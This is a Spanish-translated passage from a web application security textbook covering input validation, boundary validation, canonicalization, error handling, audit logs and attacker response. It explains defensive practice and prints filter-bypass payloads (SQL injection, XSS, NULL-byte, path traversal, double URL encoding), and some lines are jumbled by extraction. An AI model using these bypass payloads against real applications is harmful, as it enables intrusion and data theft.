defensa contra entradas maliciosas a menudo no es tan sencilla como parece.
Variedades de Entrada
Una aplicación web típica procesa los datos proporcionados por el usuario en muchas formas diferentes.
Algunos tipos de validación de entrada pueden no ser factibles o deseables para todas estas
formas de entrada. La figura 2-4 muestra el tipo de validación de entrada que suele realizar una
función de registro de usuario.
Debe contener al menos 4 caracteres
Debe contener al menos 4 caracteres
Por favor ingrese su dirección de correo electrónico válida
Debe contener solo números
Figura 2-4: Una aplicación que realiza la validación de entrada
En muchos casos, una aplicación puede imponer comprobaciones de validación muy

estrictas en un elemento de entrada específico. Por ejemplo, es posible que se requiera que
un nombre de usuario enviado a una función de inicio de sesión tenga una longitud máxima
de ocho caracteres y contenga solo caracteres alfabéticos.
En otros casos, la aplicación debe tolerar una gama más amplia de entradas posibles.
Por ejemplo, un campo de dirección enviado a una página de detalles personales puede
contener legítimamente letras, números, espacios, guiones, apóstrofes y otros caracteres. Sin
embargo, para este artículo, las restricciones aún pueden imponerse de manera factible. Los
datos no deben exceder un límite de longitud razonable (como 50 caracteres) y no deben
contener ninguna marca HTML.
En algunas situaciones, es posible que una aplicación deba aceptar entradas arbitrarias de
los usuarios. Por ejemplo, un usuario de una aplicación de blogs puede crear un blog cuyo
tema sea la piratería de aplicaciones web. Las publicaciones y los comentarios realizados en
el blog pueden contener legítimamente cadenas de ataques explícitos que se están discutiendo.
Es posible que la aplicación necesite almacenar esta entrada en una base de datos, escribirla
en el disco y mostrarla a los usuarios de forma segura. No puede simplemente rechazar la
entrada solo porque parece potencialmente maliciosa sin disminuir sustancialmente el valor de
la aplicación para algunos de sus usuarios.
Además de los diversos tipos de entrada que los usuarios ingresan usando la interfaz del
navegador, una aplicación típica recibe numerosos elementos de datos que comenzaron su
vida en el servidor y que se envían al cliente para que el cliente pueda transmitirlos de vuelta
al servidor en solicitudes posteriores. Esto incluye elementos como cookies y campos de
formularios ocultos, que no ven los usuarios normales de la aplicación pero que, por supuesto,
un atacante puede ver y modificar. En estos casos, las aplicaciones a menudo pueden realizar
una validación muy específica de los datos recibidos. Por ejemplo, es posible que se requiera
que un parámetro tenga uno de un conjunto específico de valores conocidos, como una cookie
que indique el idioma preferido del usuario, o que tenga un formato específico, como un
número de ID de cliente. Además, cuando una aplicación detecta que los datos generados por
el servidor han sido modificados de una manera que no es posible para un usuario común con
un navegador estándar, esto a menudo indica que el usuario está intentando sondear la
aplicación en busca de vulnerabilidades. En estos
casos, la aplicación debe rechazar la solicitud y registrar el incidente para una posible
investigación (consulte la sección "Manejo de atacantes" más adelante en este capítulo).
Enfoques para el manejo de entradas

Comúnmente se toman varios enfoques amplios para el problema de manejar la entrada del
usuario. A menudo son preferibles diferentes enfoques para diferentes situaciones y diferentes
tipos de entrada, y en ocasiones puede ser deseable una combinación de enfoques.
"Rechazar mal conocido"

Este enfoque generalmente emplea una lista negra que contiene un conjunto de cadenas o
patrones literales que se sabe que se usan en los ataques. El mecanismo de validación
bloquea cualquier dato que coincida con la lista negra y permite todo lo demás.
En general, este se considera el enfoque menos efectivo para validar la entrada del
usuario, por dos razones principales. Primero, una vulnerabilidad típica en una aplicación
web puede explotarse utilizando una amplia variedad de entradas, que pueden codificarse o
representarse de varias maneras. Excepto en los casos más simples, es probable que una
lista negra omita algunos patrones de entrada que pueden usarse para atacar la aplicación .
En segundo lugar, las técnicas de explotación evolucionan constantemente. Es poco probable
que las listas negras actuales bloqueen los métodos novedosos para explotar las categorías
existentes de vulnerabilidades .
Muchos fi ltros basados en listas negras pueden pasarse por alto con una facilidad casi
vergonzosa haciendo ajustes triviales a la entrada que se está bloqueando. Por ejemplo:
n Si SELECT está bloqueado, intente

SeLeCt n Si o 1=1-- está bloqueado, intente o
2=2-- n Si alert('xss') está bloqueado, intente prompt('xss')
En otros casos, los fi ltros diseñados para bloquear palabras clave específicas pueden
omitirse mediante el uso de caracteres no estándar entre expresiones para interrumpir la
tokenización realizada por la aplicación. Por ejemplo:
SELECT/*foo*/nombre de usuario,contraseña/*foo*/FROM/*foo*/users
<img%09onerror=alert(1) src=a>
Finalmente, numerosos filtros basados en listas negras, particularmente aquellos

implementados en firewalls de aplicaciones web, han sido vulnerables a ataques de bytes
NULL. Debido a las diferentes formas en que las cadenas se manejan en contextos de
ejecución administrados y no administrados , insertar un byte NULL en cualquier lugar antes
de una expresión bloqueada puede hacer que algunos filtros dejen de procesar la entrada y,
por lo tanto, no identifiquen la expresión. Por ejemplo:
%00<script>alerta(1)</script>
En el Capítulo 18 se describen otras técnicas para atacar los cortafuegos de

aplicaciones web .
NOTA Los ataques que explotan el manejo de bytes NULL surgen en muchas áreas de
seguridad de aplicaciones web. En contextos donde un byte NULL actúa como un
delimitador de cadena, se puede usar para terminar un nombre de archivo o una
consulta a algún componente de back-end. En contextos donde los bytes NULL son
tolerados e ignorados (por ejemplo, dentro de HTML en algunos navegadores), se
pueden insertar bytes NULL arbitrarios dentro de expresiones bloqueadas para vencer algunos filtros basados en listas
Los ataques de este tipo se analizan en detalle en capítulos posteriores.
“Aceptar bien conocido”

Este enfoque emplea una lista blanca que contiene un conjunto de cadenas o patrones
literales, o un conjunto de criterios, que se sabe que coinciden solo con entradas benignas.
El mecanismo de validación permite datos que coinciden con la lista blanca y bloquea todo lo demás.
Por ejemplo, antes de buscar un código de producto solicitado en la base de datos, una
aplicación puede validar que contiene solo caracteres alfanuméricos y tiene exactamente
seis caracteres. Dado el procesamiento posterior que se realizará en el código del producto,
los desarrolladores saben que la entrada que pasa esta prueba no puede causar ningún
problema.
En los casos en que este enfoque es factible, se considera que es la forma más efectiva
de manejar entradas potencialmente maliciosas. Siempre que se tenga el debido cuidado
en la construcción de la lista blanca, un atacante no podrá usar la entrada manipulada para
interferir con el comportamiento de la aplicación. Sin embargo, en numerosas situaciones,
una aplicación debe aceptar datos para procesamiento que no cumplen con ningún criterio
razonable de lo que se sabe que es "bueno". Por ejemplo, los nombres de algunas
personas contienen un apóstrofo o un guión. Estos pueden usarse en ataques contra bases
de datos, pero puede ser un requisito que la aplicación permita que cualquier persona se
registre con su nombre real. Por lo tanto, aunque a menudo es extremadamente efectivo,
el enfoque basado en listas blancas no representa una solución para todos los propósitos
al problema de manejar la entrada del usuario.
Desinfección
Este enfoque reconoce la necesidad de aceptar a veces datos cuya seguridad no se puede
garantizar. En lugar de rechazar esta entrada, la aplicación la desinfecta de varias maneras
para evitar que tenga efectos adversos. Los caracteres potencialmente maliciosos pueden
eliminarse de los datos, dejando solo lo que se sabe que es seguro, o pueden codificarse
adecuadamente o "escaparse" antes de que se realice un procesamiento posterior.
Los enfoques basados en el saneamiento de datos suelen ser muy efectivos y, en muchas
situaciones, se puede confiar en ellos como una solución general al problema de los ataques maliciosos.
aporte. Por ejemplo, la defensa habitual contra los ataques de secuencias de comandos entre
sitios es codificar en HTML los caracteres peligrosos antes de que se incrusten en las páginas
de la aplicación (consulte el Capítulo 12). Sin embargo, la limpieza efectiva puede ser difícil
de lograr si es necesario acomodar varios tipos de datos potencialmente maliciosos dentro
de un elemento de entrada. En esta situación, es deseable un enfoque de validación de
límites , como se describe más adelante.
Manejo seguro de datos
Muchas vulnerabilidades de aplicaciones web surgen porque los datos proporcionados por los
usuarios se procesan de manera no segura. A menudo, las vulnerabilidades se pueden evitar no
validando la entrada en sí, sino asegurándose de que el procesamiento que se realiza en ella
sea intrínsecamente seguro. En algunas situaciones, se encuentran disponibles métodos de
programación seguros que evitan problemas comunes. Por ejemplo, los ataques de inyección
SQL se pueden prevenir mediante el uso correcto de consultas parametrizadas para el acceso a
la base de datos (consulte el Capítulo 9). En otras situaciones, la funcionalidad de la aplicación
se puede diseñar de tal manera que se eviten prácticas inherentemente inseguras, como pasar
la entrada del usuario a un intérprete de comandos del sistema operativo.
Este enfoque no se puede aplicar a todos los tipos de tareas que deben realizar las
aplicaciones web. Pero donde está disponible, es un enfoque general efectivo para manejar
entradas potencialmente maliciosas.
Comprobaciones semánticas
Todas las defensas descritas hasta ahora abordan la necesidad de defender la aplicación contra
varios tipos de datos mal formados cuyo contenido ha sido diseñado para interferir con el
procesamiento de la aplicación. Sin embargo, con algunas vulnerabilidades, la entrada
proporcionada por el atacante es idéntica a la entrada que puede enviar un usuario común no
malintencionado . Lo que lo hace malicioso son las diferentes circunstancias en las que se
presenta. Por ejemplo, un atacante podría tratar de obtener acceso a la cuenta bancaria de otro
usuario cambiando un número de cuenta transmitido en un campo de formulario oculto. Ninguna
cantidad de validación sintáctica distinguirá entre los datos del usuario y los del atacante. Para
evitar el acceso no autorizado, la aplicación debe validar que el número de cuenta enviado
pertenece al usuario que lo envió.
Validación de límites
La idea de validar datos a través de límites de confianza es familiar. El principal problema de
seguridad con las aplicaciones web surge porque los datos recibidos de los usuarios no son de
confianza. Aunque las comprobaciones de validación de entrada implementadas en el lado del
cliente pueden mejorar el rendimiento y la experiencia del usuario, no ofrecen ninguna garantía
sobre los datos que realmente llegan al servidor. El punto en el que
los datos del usuario son recibidos primero por la aplicación del lado del servidor representa un
límite de confianza enorme. En este punto, la aplicación necesita tomar medidas para defenderse
contra entradas maliciosas.
Dada la naturaleza del problema central, es tentador pensar en el problema de validación de
entrada en términos de una frontera entre Internet, que es "malo" y no confiable, y la aplicación
del lado del servidor, que es "buena" y confiable. En esta imagen, la función de la validación de
entrada es limpiar los datos potencialmente maliciosos a su llegada y luego pasar los datos
limpios a la aplicación de confianza. A partir de este momento, los datos pueden ser confiables
y procesados sin más controles ni preocupación por posibles ataques.
Como se hará evidente cuando comencemos a examinar algunas vulnerabilidades reales,

esta imagen simple de validación de entrada es inadecuada por varias razones:
n Dada la amplia gama de funciones que implementan las aplicaciones y las diferentes
tecnologías en uso, una aplicación típica necesita defenderse contra una gran variedad
de ataques basados en entradas, cada uno de los cuales puede emplear un conjunto
diverso de datos manipulados. Sería muy difícil idear un único mecanismo en la frontera
exterior para defenderse de todos estos ataques. n Muchas funciones de aplicación
implican encadenar una serie de diferentes tipos de procesamiento. Una sola pieza de
entrada proporcionada por el usuario puede dar como resultado varias operaciones en
diferentes componentes, y la salida de cada uno se usa como entrada para la siguiente.
A medida que los datos se transforman, es posible que no se parezcan a la entrada
original. Un atacante experto puede manipular la aplicación para generar una entrada
maliciosa en una etapa clave del procesamiento, atacando el componente que recibe
estos datos. Sería extremadamente difícil implementar un mecanismo de validación en
el límite externo para prever todos los resultados posibles del procesamiento de cada
entrada del usuario.
n La defensa contra diferentes categorías de ataques basados en entrada puede implicar

realizar diferentes controles de validación en la entrada del usuario que son incompatibles
entre sí. Por ejemplo, la prevención de ataques de secuencias de comandos entre sitios
puede requerir que la aplicación codifique en HTML el carácter > como >, y la
prevención de ataques de inyección de comandos puede requerir que la aplicación
bloquee la entrada que contiene los caracteres
; de ataque
& y . Intentar
simultáneamente
prevenir todas
en ellas
límite
categorías
externo de la aplicación a veces puede ser imposible.
Un modelo más eficaz utiliza el concepto de validación de límites. Aquí, cada

componente individual o unidad funcional de la aplicación del lado del servidor trata sus
entradas como provenientes de una fuente potencialmente maliciosa. La validación de
datos se realiza en cada uno de estos límites de confianza, además de la frontera externa
entre el cliente y el servidor. Este modelo proporciona una solución a los problemas que
acabamos de describir. Cada componente puede defenderse contra los tipos específi cos
de insumos elaborados a los que puede ser vulnerable. A medida que los datos pasan a través de diferentes
componentes, las comprobaciones de validación se pueden realizar contra cualquier valor que
tengan los datos como resultado de transformaciones anteriores. Y debido a que las diversas
comprobaciones de validación se implementan en diferentes etapas de procesamiento, es
poco probable que entren en conflicto entre sí.
La figura 2-5 ilustra una situación típica en la que la validación de límites es el enfoque más
efectivo para defenderse de entradas maliciosas. El inicio de sesión del usuario da como resultado
que se realicen varios pasos de procesamiento en la entrada proporcionada por el usuario, y se
realiza una validación adecuada en cada paso:
1. La aplicación recibe los datos de inicio de sesión del usuario. El controlador de formulario
valida que cada elemento de entrada contenga solo caracteres permitidos, esté dentro
de un límite de longitud específico y no contenga ninguna firma de ataque conocida.
2. La aplicación realiza una consulta SQL para verificar las credenciales del usuario.
Para evitar ataques de inyección SQL, cualquier carácter dentro de la entrada del usuario
que pueda usarse para atacar la base de datos se escapa antes de que se construya la
consulta.
3. Si el inicio de sesión tiene éxito, la aplicación pasa ciertos datos del perfil del usuario a un
servicio SOAP para recuperar más información sobre su cuenta.
Para evitar ataques de inyección SOAP, todos los metacaracteres XML dentro de los datos
del perfil del usuario se codifican adecuadamente.
4. La aplicación muestra la información de la cuenta del usuario en el navegador del usuario.

Para evitar ataques de secuencias de comandos entre sitios, la aplicación HTML codifica
cualquier dato proporcionado por el usuario que esté incrustado en la página devuelta.
2. SQL limpio
1. Comprobaciones generales
consulta SQL
Envío de inicio de sesión
Base de datos
Mostrar detalles de la cuenta
Usuario
Solicitud
servidor
3. Codificar
4. Desinfecte la salida
metacaracteres XML
mensaje SOAP
servicio SOAP
Figura 2-5: Una función de aplicación que utiliza la validación de límites en múltiples etapas de
procesamiento
Las vulnerabilidades y defensas específicas involucradas en este escenario se examinarán

en detalle en capítulos posteriores. Si las variaciones de esta funcionalidad implicaran pasar
datos a otros componentes de la aplicación, sería necesario implementar defensas similares en
los límites de confianza relevantes. Por ejemplo, si un inicio de sesión fallido hizo que la
aplicación enviara un correo electrónico de advertencia al usuario, es posible que sea necesario
verificar cualquier dato del usuario incorporado en el correo electrónico para detectar ataques
de inyección SMTP.
Validación de varios pasos y canonicalización

Un problema común que encuentran los mecanismos de manejo de entradas surge cuando la
entrada proporcionada por el usuario se manipula en varios pasos como parte de la lógica de
validación. Si este proceso no se maneja con cuidado, un atacante puede construir una entrada
manipulada que logre pasar de contrabando datos maliciosos a través del mecanismo de
validación. Una versión de este problema ocurre cuando una aplicación intenta desinfectar la
entrada del usuario eliminando o codificando ciertos caracteres o expresiones. Por ejemplo,
una aplicación puede intentar defenderse de algunos ataques de secuencias de comandos
entre sitios eliminando la expresión:
<script>
de cualquier dato proporcionado por el usuario. Sin embargo, un atacante puede pasar por alto
el fi ltro proporcionando la siguiente entrada:
<scr<script>ipt>
Cuando se elimina la expresión bloqueada, los datos circundantes se contraen para restaurar
la carga útil maliciosa, porque el filtro no se aplica de forma recursiva.
De manera similar, si se realiza más de un paso de validación en la entrada del

usuario, un atacante puede aprovechar el orden de estos pasos para eludir el filtro.
Por ejemplo, si la aplicación primero elimina ../ recursivamente y luego elimina ..\
recursivamente, se puede usar la siguiente entrada para anular la validación:
....\/
Surge un problema relacionado con la canonicalización de datos. Cuando la entrada se

envía desde el navegador del usuario, se puede codificar de varias formas. Estos esquemas de
codificación existen para que los caracteres inusuales y los datos binarios se puedan transmitir
de forma segura a través de HTTP (consulte el Capítulo 3 para obtener más detalles). La
canonicalización es el proceso de convertir o decodificar datos en un conjunto de caracteres
común. Si se lleva a cabo una canonicalización después de aplicar los filtros de entrada, un
atacante puede usar un esquema de codificación adecuado para eludir el mecanismo de
validación.
Por ejemplo, una aplicación puede intentar defenderse de algunos ataques de inyección de
SQL bloqueando la entrada que contiene el carácter de apóstrofo. Sin embargo, si
la entrada se canoniza posteriormente, un atacante puede usar la codificación de URL doble para
anular el fi ltro. Por ejemplo:
%2527
Cuando se recibe esta entrada, el servidor de aplicaciones realiza su decodificación de URL normal,
por lo que la entrada se convierte en:
%27
Este no contiene apóstrofe, por lo que está permitido por los fi ltros de la aplicación.
Pero cuando la aplicación realiza una decodificación de URL adicional, la entrada se convierte en
un apóstrofo, por lo que se salta el filtro.
Si la aplicación elimina el apóstrofo en lugar de bloquearlo y luego, por
forma una mayor canonicalización, el siguiente bypass puede ser efectivo:
%%2727
Vale la pena señalar que los múltiples pasos de validación y canonicalización en estos casos no
tienen por qué tener lugar en el lado del servidor de la aplicación. Por ejemplo, en la siguiente
entrada, varios caracteres se han codificado en HTML:
<iframe src=javasc&#x72ipt:alerta(1) >
Si la aplicación del lado del servidor usa un filtro de entrada para bloquear ciertas expresiones y
caracteres de JavaScript, la entrada codificada puede pasar por alto el filtro. Sin embargo, si la
entrada se copia en la respuesta de la aplicación, algunos navegadores realizan una decodificación
HTML del valor del parámetro src y se ejecuta el JavaScript incrustado.
Además de los esquemas de codificación estándar que están pensados para su uso en
aplicaciones web, pueden surgir problemas de canonicalización en otras situaciones en las
que un componente empleado por la aplicación convierte datos de un juego de caracteres
a otro. Por ejemplo, algunas tecnologías realizan un mapeo de caracteres de "mejor ajuste"
en función de las similitudes en sus glifos impresos. Aquí, los caracteres « y » se pueden
convertir en < y >, respectivamente, y Ÿ y Â se convierten en Y y A. Este comportamiento a
menudo se puede aprovechar para pasar de contrabando caracteres bloqueados o palabras
clave más allá de los fi ltros de entrada de una aplicación.
A lo largo de este libro, describiremos numerosos ataques de este tipo, que son efectivos para
derrotar las defensas de muchas aplicaciones contra vulnerabilidades comunes basadas en entradas.
Evitar problemas con la canonicalización y la validación de varios pasos puede ser difícil a
veces, y no existe una solución única para el problema. Un enfoque consiste en realizar pasos de
sanitización de forma recursiva, continuando hasta que no se hayan realizado más modificaciones
en un elemento de entrada. Sin embargo, cuando la higienización deseada implica escapar de un
personaje problemático, esto puede resultar en un ciclo infinito.
A menudo, el problema se puede abordar solo caso por caso, según los tipos de validación que se
realicen. Cuando sea factible, puede ser preferible evitar intentar limpiar algunos tipos de entradas
incorrectas y simplemente rechazarlas por completo.
Manejo de atacantes
Cualquiera que diseñe una aplicación para la que la seguridad sea remotamente importante debe
suponer que será atacada directamente por atacantes dedicados y expertos. Una función clave de
los mecanismos de seguridad de la aplicación es poder manejar y reaccionar a estos ataques de
forma controlada. Estos mecanismos a menudo incorporan una combinación de medidas defensivas
y ofensivas diseñadas para frustrar al atacante tanto como sea posible y brindar a los propietarios
de la aplicación una notificación adecuada y evidencia de lo que ha ocurrido. Las medidas
implementadas para manejar a los atacantes suelen incluir las siguientes tareas:
n Manejo de errores n
Mantenimiento de registros de
auditoría n Alertas a los
administradores n Reacción a ataques
Manejo de errores
Por muy cuidadosos que sean los desarrolladores de una aplicación al validar la entrada del
usuario, es prácticamente inevitable que se produzcan algunos errores imprevistos. Es probable
que los errores resultantes de las acciones de los usuarios comunes se identifiquen durante las
pruebas de funcionalidad y aceptación del usuario. Por lo tanto, se tienen en cuenta antes de
implementar la aplicación en un contexto de producción. Sin embargo, es difícil anticipar todas las
formas posibles en que un usuario malintencionado puede interactuar con la aplicación, por lo que
se deben esperar más errores cuando la aplicación sea atacada.
Un mecanismo de defensa clave es que la aplicación maneje correctamente los errores

inesperados y se recupere de ellos o presente un mensaje de error adecuado al usuario. En un
contexto de producción, la aplicación nunca debe devolver mensajes generados por el sistema u
otra información de depuración en sus respuestas. Como verá a lo largo de este libro, los mensajes
de error demasiado detallados pueden ser de gran ayuda para los usuarios maliciosos en sus
ataques contra la aplicación. En algunas situaciones, un atacante puede aprovechar el manejo
defectuoso de errores para recuperar información confidencial dentro de los propios mensajes de
error, proporcionando un canal valioso para robar datos de la aplicación. La figura 2-6 muestra un
ejemplo de un error no controlado que genera un mensaje de error detallado.
La mayoría de los lenguajes de desarrollo web brindan un buen soporte de manejo de errores
a través de bloques try-catch y excepciones verificadas. El código de la aplicación debe hacer un
uso extensivo de estas construcciones para detectar errores específicos y generales y manejarlos
apropiadamente. Además, la mayoría de los servidores de aplicaciones se pueden configurar para
tratar los errores de aplicación no controlados de forma personalizada, como
presentando un mensaje de error no informativo. Consulte el Capítulo 15 para obtener más

detalles sobre estas medidas.
Figura 2-6: Un error no controlado
El manejo efectivo de errores a menudo se integra con los mecanismos de registro de

la aplicación, que registran tanta información de depuración como sea posible sobre errores
imprevistos. Los errores inesperados a menudo apuntan a defectos dentro de las defensas
de la aplicación que se pueden abordar en la fuente si el propietario de la aplicación tiene
la información requerida.
Mantenimiento de registros de auditoría
Los registros de auditoría son valiosos principalmente cuando se investigan intentos de

intrusión contra una aplicación. Después de un incidente de este tipo, los registros de
auditoría efectivos deberían permitir a los propietarios de la aplicación comprender
exactamente qué sucedió, qué vulnerabilidades (si las hubo) se explotaron, si el atacante
obtuvo acceso no autorizado a los datos o realizó acciones no autorizadas y, en la medida
de lo posible, , proporcionar evidencia de la identidad del intruso.
En cualquier aplicación para la que la seguridad sea importante, los eventos clave deben registrarse
por rutina. Como mínimo, estos suelen incluir lo siguiente:
n Todos los eventos relacionados con la funcionalidad de autenticación, como

e inicio de sesión fallido, y cambio de contraseña
n Transacciones clave, como pagos con tarjeta de crédito y transferencias de fondos n Intentos
de acceso que están bloqueados por los mecanismos de control de acceso n Cualquier
solicitud que contenga cadenas de ataque conocidas que indiquen intenciones abiertamente
maliciosas
En muchas aplicaciones críticas para la seguridad, como las que utilizan los bancos en línea, todas
las solicitudes de los clientes se registran en su totalidad, lo que proporciona un registro forense completo
que se puede utilizar para investigar cualquier incidente.
Los registros de auditoría efectivos suelen registrar la hora de cada evento, la dirección IP desde la
que se recibió la solicitud y la cuenta del usuario (si está autenticado).
Dichos registros deben estar fuertemente protegidos contra el acceso no autorizado de lectura o escritura.
Un enfoque efectivo es almacenar registros de auditoría en un sistema autónomo que solo acepte
mensajes de actualización de la aplicación principal. En algunas situaciones, los registros se pueden
vaciar a medios de una sola escritura para garantizar su integridad en caso de un ataque exitoso.
En términos de superficie de ataque, los registros de auditoría mal protegidos pueden proporcionar
una mina de oro de información a un atacante, revelando una gran cantidad de información confidencial,
como tokens de sesión y parámetros de solicitud. Esta información puede permitir que el atacante
comprometa inmediatamente toda la aplicación, como se muestra en la Figura 2-7.
Figura 2-7: Registros de aplicaciones mal protegidos que contienen información

confidencial enviada por otros usuarios
Administradores de alertas
Los registros de auditoría permiten a los propietarios de una aplicación investigar retrospectivamente
los intentos de intrusión y, si es posible, emprender acciones legales contra el perpetrador. Sin
embargo, en muchas situaciones es deseable tomar medidas mucho más inmediatas, en tiempo real,
en respuesta a los intentos de ataques. Por ejemplo, los administradores pueden bloquear la dirección
IP o la cuenta de usuario que utiliza un atacante. En casos extremos, incluso pueden desconectar la
aplicación mientras investigan el ataque y toman medidas correctivas. Incluso si ya ha ocurrido una
intrusión exitosa, sus efectos prácticos pueden mitigarse si se toman medidas defensivas en una
etapa temprana.
En la mayoría de las situaciones, los mecanismos de alerta deben equilibrar los objetivos en
conflicto de informar cada ataque genuino de manera confiable y no generar tantas alertas que lleguen
a ser ignoradas. Un mecanismo de alerta bien diseñado puede usar una combinación de factores
para diagnosticar que un determinado ataque está en marcha y puede agregar eventos relacionados
en una sola alerta cuando sea posible. Los eventos anómalos monitoreados por mecanismos de
alerta a menudo incluyen lo siguiente:
n Anomalías de uso, como un gran número de solicitudes que se reciben desde una sola dirección
IP o usuario, lo que indica un ataque con secuencias de comandos.
n Anomalías comerciales, como un número inusual de transferencias de fondos

hecho a o desde una sola cuenta bancaria
n Solicitudes que contienen cadenas de ataque conocidas
n Solicitudes en las que se han modificado datos que están ocultos para los usuarios comunes
Algunas de estas funciones se pueden proporcionar razonablemente bien mediante cortafuegos

de aplicaciones estándar y productos de detección de intrusos. Por lo general, utilizan una combinación
de reglas basadas en firmas y anomalías para identificar el uso malicioso de la aplicación y pueden
bloquear de forma reactiva las solicitudes maliciosas, así como emitir alertas a los administradores.
Estos productos pueden formar una valiosa capa de defensa que protege una aplicación web,
particularmente en el caso de aplicaciones existentes que se sabe que contienen problemas pero
donde los recursos para solucionarlos no están disponibles de inmediato. Sin embargo, su efectividad
suele estar limitada por el hecho de que cada aplicación web es diferente, por lo que las reglas
empleadas son inevitablemente genéricas hasta cierto punto. Los firewalls de aplicaciones web
generalmente son buenos para identificar los ataques más obvios, donde un atacante envía cadenas
de ataque estándar en cada parámetro de solicitud. Sin embargo, muchos ataques son más sutiles
que esto. Por ejemplo, quizás modifiquen el número de cuenta en un campo oculto para acceder a los
datos de otro usuario, o envíen solicitudes fuera de secuencia para explotar defectos en la lógica de
la aplicación. En estos casos, una solicitud enviada por un atacante puede ser
idéntico al enviado por un usuario benigno. Lo que lo hace malicioso son las circunstancias
bajo las cuales se hace.
En cualquier aplicación crítica para la seguridad, la forma más efectiva de implementar
alertas en tiempo real es integrarlas estrechamente con los mecanismos de validación de
entrada de la aplicación y otros controles. Por ejemplo, si se espera que una cookie tenga
uno de un conjunto específico de valores, cualquier violación de esto indica que su valor
se modificó de una manera que no es posible para los usuarios comunes de la aplicación.
De manera similar, si un usuario cambia un número de cuenta en un campo oculto para
identificar la cuenta de un usuario diferente, esto indica fuertemente una intención maliciosa.
La aplicación ya debería estar comprobando estos ataques como parte de sus defensas
principales, y estos mecanismos de protección pueden conectarse fácilmente al mecanismo
de alerta de la aplicación para proporcionar indicadores totalmente personalizados de actividad maliciosa.
Debido a que estas comprobaciones se han adaptado a la lógica real de la aplicación, con un
conocimiento detallado de cómo deberían comportarse los usuarios normales, son mucho menos
propensas a falsos positivos que cualquier solución estándar, por configurable o fácil que sea.
para aprender que solución puede ser.
Reaccionar a los ataques

Además de alertar a los administradores, muchas aplicaciones críticas para la seguridad
contienen mecanismos integrados para reaccionar defensivamente ante los usuarios identificados
como potencialmente maliciosos.
Debido a que cada aplicación es diferente, la mayoría de los ataques del mundo real requieren
que un atacante investigue sistemáticamente las vulnerabilidades, enviando numerosas solicitudes
que contienen información diseñada para indicar la presencia de varias vulnerabilidades comunes.
Los mecanismos efectivos de validación de entrada identificarán muchas de estas solicitudes
como potencialmente maliciosas y bloquearán la entrada para que no tenga ningún efecto no
deseado en la aplicación. Sin embargo, es sensato suponer que existen algunas derivaciones a
estos fi ltros y que la aplicación contiene algunas vulnerabilidades reales que esperan ser
descubiertas y explotadas. En algún momento, es probable que un atacante que trabaje
sistemáticamente descubra estos defectos.
Por esta razón, algunas aplicaciones toman medidas reactivas automáticas para frustrar las
actividades de un atacante que está trabajando de esta forma. Por ejemplo, pueden responder
cada vez más lentamente a las solicitudes del atacante o terminar la sesión del atacante,
requiriendo que inicie sesión o realice otros pasos antes de continuar con el ataque. Aunque
estas medidas no vencerán al atacante más paciente y decidido, disuadirán a muchos más
atacantes casuales y ganarán tiempo adicional para que los administradores supervisen la
situación y tomen medidas más drásticas si así lo desean.
Reaccionar a los atacantes aparentes no es, por supuesto, un sustituto para corregir
las vulnerabilidades que existen dentro de la aplicación. Sin embargo, en el mundo real,
incluso los esfuerzos más diligentes para purgar una aplicación de fallas de seguridad
pueden dejar algunos defectos explotables. Colocar más obstáculos en el camino de un
atacante es una medida efectiva de defensa en profundidad que reduce la probabilidad
de que se encuentren y exploten vulnerabilidades residuales.
Administrar la aplicación
Cualquier aplicación útil necesita ser gestionada y administrada. Esta función a menudo forma
una parte clave de los mecanismos de seguridad de la aplicación, proporcionando una forma para
que los administradores administren cuentas y roles de usuario, accedan a funciones de monitoreo
y auditoría, realicen tareas de diagnóstico y configuren aspectos de la funcionalidad de la
aplicación.
En muchas aplicaciones, las funciones administrativas se implementan dentro de la propia
aplicación, a las que se puede acceder a través de la misma interfaz web que su funcionalidad
básica no relacionada con la seguridad, como se muestra en la Figura 2-8. Cuando este es el
caso, el mecanismo administrativo representa una parte crítica de la superficie de ataque de la
aplicación. Su atracción principal para un atacante es como un vehículo para la escalada de
privilegios. Por ejemplo:
n Las debilidades en el mecanismo de autenticación pueden permitir que un atacante obtenga

acceso administrativo, comprometiendo efectivamente toda la aplicación.
n Muchas aplicaciones no implementan un control de acceso efectivo de algunas de sus

funciones administrativas. Un atacante puede encontrar un medio para crear una nueva
cuenta de usuario con poderosos privilegios.
n La funcionalidad administrativa a menudo implica la visualización de datos que se originaron

a partir de usuarios comunes. Cualquier falla de secuencias de comandos entre sitios
dentro de la interfaz administrativa puede comprometer una sesión de usuario que se
garantiza que tiene privilegios poderosos.
n La funcionalidad administrativa a menudo está sujeta a pruebas de seguridad menos

rigurosas, porque se considera que sus usuarios son confiables o porque los evaluadores
de penetración solo tienen acceso a cuentas con privilegios bajos. Además, la funcionalidad
a menudo necesita realizar operaciones inherentemente peligrosas, que implican el acceso
a archivos en el disco o comandos del sistema operativo. Si un atacante puede
comprometer la función administrativa, a menudo puede aprovecharla para tomar el
control de todo el servidor.
Figura 2-8: Una interfaz administrativa dentro de una aplicación web
Resumen
A pesar de sus amplias diferencias, prácticamente todas las aplicaciones web emplean los mismos
mecanismos básicos de seguridad de alguna forma. Estos mecanismos representan las principales
defensas de una aplicación contra usuarios maliciosos y, por lo tanto , también comprenden la
mayor parte de la superficie de ataque de la aplicación. Las vulnerabilidades que examinaremos
más adelante en este libro surgen principalmente de defectos dentro de estos mecanismos
centrales.
De estos componentes, los mecanismos para manejar el acceso del usuario y la entrada del
usuario son los más importantes y deben recibir la mayor parte de su atención cuando se dirige a
una aplicación. Los defectos en estos mecanismos a menudo conducen a un compromiso total de
la aplicación, lo que le permite acceder a datos que pertenecen a otros usuarios, realizar acciones
no autorizadas e inyectar códigos y comandos arbitrarios.
Preguntas
Las respuestas se pueden encontrar en http://mdsec.net/wahh.
1. ¿Por qué los mecanismos de una aplicación para manejar el acceso de los usuarios son solo como
fuerte como el más débil de estos componentes?
2. ¿Cuál es la diferencia entre una sesión y un token de sesión?
3. ¿Por qué no siempre es posible utilizar un método de entrada basado en una lista blanca?
¿validación?
4. Estás atacando una aplicación que implementa una función administrativa .

No tiene ninguna credencial válida para usar la función. ¿Por qué , sin
embargo, deberías prestarle mucha atención?
5. Un mecanismo de validación de entrada diseñado para bloquear ataques de secuencias de
comandos entre sitios realiza la siguiente secuencia de pasos en un elemento de entrada:
1. Elimine cualquier expresión <script> que aparezca.
2. Trunque la entrada a 50 caracteres.
3. Quite las comillas de la entrada.
4. URL-decodifica la entrada.
5. Si se eliminó algún elemento, regrese al paso 1.
¿Puede omitir este mecanismo de validación para pasar de contrabando los siguientes
datos ?
“><script>alerta(“foo”)</script>
Capítulo R
Tecnologías de aplicaciones web
